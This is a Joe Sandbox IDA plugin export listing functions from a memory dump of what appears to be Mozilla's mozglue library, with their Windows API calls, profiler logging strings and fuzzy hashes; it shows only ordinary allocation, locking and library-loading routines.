Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9e39022cc3d6e946482b06692a255f0f8c1e8ee2a5324aa7e1b93207328af9a4
Instruction ID: 2e247c4d13b29366b4d3ab8c2bbc9d199109659f7ebd8e6518d343cb8badc4ee
Opcode Fuzzy Hash: 9e39022cc3d6e946482b06692a255f0f8c1e8ee2a5324aa7e1b93207328af9a4
Instruction Fuzzy Hash: 72319271B00306CBCF08DF68D8989AEB7B5FB953A8B14451DE912A7740DB34E807CB91

Function 6C999830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9E7ABE), ref: 6C99985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9E7ABE), ref: 6C9998A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C999909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C999918
free.MOZGLUE(?), ref: 6C999975

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 26d2a2f5f2982fe76b387499f2c39f1a1617f67056e359c8288a1eb9a300e116
Instruction ID: 0791f1a32098285d1e4174b851c037ddc115fdfa086f4704e4e8603089437044
Opcode Fuzzy Hash: 26d2a2f5f2982fe76b387499f2c39f1a1617f67056e359c8288a1eb9a300e116
Instruction Fuzzy Hash: 6471AC746057068FC724CF28C480A66B7F5FF4A3287294AADE85A8BB90D731F842CB51

Function 6C99B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9DCC83,?,?,?,?,?,?,?,?,?,6C9DBCAE,?,?,6C9CDC2C), ref: 6C99B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9DCC83,?,?,?,?,?,?,?,?,?,6C9DBCAE,?,?,6C9CDC2C), ref: 6C99B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9DCC83,?,?,?,?,?,?,?,?,?,6C9DBCAE), ref: 6C99B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9DCC83,?,?,?,?,?,?,?,?,?,6C9DBCAE,?,?,6C9CDC2C), ref: 6C99B896

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 63c41ba334e52442a1c08783f9651e91dffde478d7274c2c42064d364ac754f7
Instruction ID: f236451446a438de75fcf0b85a6c4db7ee09dd714e9d4516c6fe60a7e310bd26
Opcode Fuzzy Hash: 63c41ba334e52442a1c08783f9651e91dffde478d7274c2c42064d364ac754f7
Instruction Fuzzy Hash: 605179357006058FCB29CF59C584A6ABBF9FF8D318B69859DE98A87751C735EC02CB80

Function 6C9D1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9D1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9D1BE3,?,?,6C9D1D96,00000000), ref: 6C9D1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9D1BE3,?,?,6C9D1D96,00000000), ref: 6C9D1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9D1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9D1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9D1DDA

Part of subcall function 6C9D1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9D1F03
Part of subcall function 6C9D1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9D1DF2,00000000,00000000), ref: 6C9D1F0C
Part of subcall function 6C9D1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9D1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9D1DF4

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 64d2fe21639a7fe0217a32c27c651c9bdd09e59c3b8c74d412de801b7828555a
Instruction ID: 101e2ef6c1dd027ea2bd7a149f416970f227cc94e647b08b2adad0dee8ad919d
Opcode Fuzzy Hash: 64d2fe21639a7fe0217a32c27c651c9bdd09e59c3b8c74d412de801b7828555a
Instruction Fuzzy Hash: 944188B52007019FCB14CF28C488A56BBF9FF59368F10852EE99A87B41CB71F855CB90

Function 6C9938A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CA0E220,?,?,?,?,6C993899,?), ref: 6C9938B2
ReleaseSRWLockExclusive.KERNEL32(6CA0E220,?,?,?,6C993899,?), ref: 6C9938C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C993899,?), ref: 6C9938F1
RtlFreeHeap.NTDLL ref: 6C993920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C993899,?), ref: 6C99392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C993899,?), ref: 6C993943
RtlFreeHeap.NTDLL ref: 6C99396E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 20dc1bac85dc0469bcc3098c6092b9352aa89adf0b36ca42eac51f31dc9f7106
Instruction ID: 49022292524679e3a8a9b948dec2398b2eadbe8ab2b6b2951304369dd2f9f242
Opcode Fuzzy Hash: 20dc1bac85dc0469bcc3098c6092b9352aa89adf0b36ca42eac51f31dc9f7106
Instruction Fuzzy Hash: B321DE72700B10DFD720DF26C880B96B7A9FF55328F298469E96E97B10C730E946CB90

Function 6C9C84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C85AC

Part of subcall function 6C9C7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9C85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C767F
Part of subcall function 6C9C7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9C85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C7693
Part of subcall function 6C9C7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9C85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9C85B2

Part of subcall function 6C9A5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
Part of subcall function 6C9A5E90: memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
Part of subcall function 6C9A5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: feb2c95746b3488b6b5b9cc010f6e711fa0ad3cb164349b920892a990283484b
Instruction ID: 08d46bf37a401b30038e0bfe01ef3dc33eb1cc3175f608197111d39fab3c074b
Opcode Fuzzy Hash: feb2c95746b3488b6b5b9cc010f6e711fa0ad3cb164349b920892a990283484b
Instruction Fuzzy Hash: 3D215C743007419FDB18DB24C888A6AB7B9AF9430CF24882DE55B83B41DB71F95ACB57

Function 6C991640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C991699
VerSetConditionMask.NTDLL ref: 6C9916CB
VerSetConditionMask.NTDLL ref: 6C9916D7
VerSetConditionMask.NTDLL ref: 6C9916DE
VerSetConditionMask.NTDLL ref: 6C9916E5
VerSetConditionMask.NTDLL ref: 6C9916EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9916F9

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2ddcda343ccfac0b9d8ea87e83ab43e4ed7fd003fd5641172135a93a78302576
Instruction ID: 3b599001bd01f34d51af51293074ba33a11dfb421b70cdd34557cd206bf6c50b
Opcode Fuzzy Hash: 2ddcda343ccfac0b9d8ea87e83ab43e4ed7fd003fd5641172135a93a78302576
Instruction Fuzzy Hash: E721F0B0B403096BFB116A689C89FBBB37CEF96748F04852CF645AB2C0C774DD4586A1

Function 6C9CF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9CF598), ref: 6C9CF621

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

GetCurrentThreadId.KERNEL32 ref: 6C9CF637
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000,?,6C9CF598), ref: 6C9CF645
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000,?,6C9CF598), ref: 6C9CF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9CF62A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ab211ad9568dedcded8df9a9c7f4e5fb5ba974f2c7b5253e25b419b4ccd0e09e
Instruction ID: 233724362b308c2d307371377a72210746cf6caddcf5dee335ffa687fa5dbf86
Opcode Fuzzy Hash: ab211ad9568dedcded8df9a9c7f4e5fb5ba974f2c7b5253e25b419b4ccd0e09e
Instruction Fuzzy Hash: DB11B231301706AFCB08AF18D9489E57779FB9629CB104019EA0593F01CB72E827CBA6

Function 6C991FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C991FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C991FFD
__Init_thread_footer.LIBCMT ref: 6C992011
FreeLibrary.KERNEL32 ref: 6C992059

Strings

CoCreateInstance, xrefs: 6C991FF7
combase.dll, xrefs: 6C991FD9

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 14120398eed0201aa598a66a2a6b863afac71558e0c35074104bf78de33d87ce
Instruction ID: 818a624f1882fac0fbf926a1a753b13dc4d5617f9159d4f03e2778ed51fef00a
Opcode Fuzzy Hash: 14120398eed0201aa598a66a2a6b863afac71558e0c35074104bf78de33d87ce
Instruction Fuzzy Hash: 8F114774341306EFDF18DF15DC48E9A3B79EB4A39DB14802DE905A2640C730F853CA61

Function 6C990EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C9BD9F0,00000000), ref: 6C990F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C990F3C
__Init_thread_footer.LIBCMT ref: 6C990F50
FreeLibrary.KERNEL32(?,6C9BD9F0,00000000), ref: 6C990F86

Strings

CoInitializeEx, xrefs: 6C990F36
combase.dll, xrefs: 6C990F18

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 08edee534e0077ba960a75d70dead4299d8c3955b4f599ca52652aa8bb71c83f
Instruction ID: cfaa3d62a6c7dada20b0fb691eb9b5eda3cc2af7dfb9fd1ab6326295b0c45763
Opcode Fuzzy Hash: 08edee534e0077ba960a75d70dead4299d8c3955b4f599ca52652aa8bb71c83f
Instruction Fuzzy Hash: CC119E757013429BDF48CF54DE08A4637B8FB4F3ADB04822DE916A2780D730E517CA69

Function 6C9CF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CF561

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

GetCurrentThreadId.KERNEL32 ref: 6C9CF577
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CF585
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C9CF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C9CF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9CF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C9CF499

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: d1928aa193445cf7132799dc0192c547f4dc7da7f8e67514278e3dc2ec72601d
Instruction ID: 8f955e2318dc0b1fa86d7da2de10d0dc2a5ef916837b098f7986ab16d05dde49
Opcode Fuzzy Hash: d1928aa193445cf7132799dc0192c547f4dc7da7f8e67514278e3dc2ec72601d
Instruction Fuzzy Hash: F9F0B4763013019FDB046B65EC48AAA777CEB962DDF10811DEE0593701CB76C8038766

Function 6C9CF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C994A68), ref: 6C9C945E
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9C9470
Part of subcall function 6C9C9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9C9482
Part of subcall function 6C9C9420: __Init_thread_footer.LIBCMT ref: 6C9C949F

GetCurrentThreadId.KERNEL32 ref: 6C9CF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9CF598), ref: 6C9CF621

Part of subcall function 6C9C94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9C94EE
Part of subcall function 6C9C94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9C9508

GetCurrentThreadId.KERNEL32 ref: 6C9CF637
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000,?,6C9CF598), ref: 6C9CF645
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8,?,?,00000000,?,6C9CF598), ref: 6C9CF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9CF62A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 0e5b1b9791a63d6eee46582c0efda3684b87085f852a1c0f2efde6b0cacc7c40
Instruction ID: e1ffe8f244794d8dd7f5cd43ba28928cb18319024dd6d9a61d0e8493bfbb240a
Opcode Fuzzy Hash: 0e5b1b9791a63d6eee46582c0efda3684b87085f852a1c0f2efde6b0cacc7c40
Instruction Fuzzy Hash: DCF0B475301305AFDB046B64ED48A9A777CEB962DDF10811DFE0593701CB7688078776

Function 6C990E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C990DF8), ref: 6C990E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C990EA1
__Init_thread_footer.LIBCMT ref: 6C990EB5
FreeLibrary.KERNEL32 ref: 6C990EC5

Strings

kernel32.dll, xrefs: 6C990E7D
GetProcessMitigationPolicy, xrefs: 6C990E9B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: dd81f5fa4a1310635102e39cdb78f8a8c866d2221dfe72b281628be8031c5031
Instruction ID: bcc1ae968d7da5af602c980cfd9d998e00d98a9584052e6b2f191a17769f489e
Opcode Fuzzy Hash: dd81f5fa4a1310635102e39cdb78f8a8c866d2221dfe72b281628be8031c5031
Instruction Fuzzy Hash: 6D012170B003829BDB048FD9DD14A4237B5F74AB9EF14951D992162B40D7B0E4478A1B

Function 6C9C05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

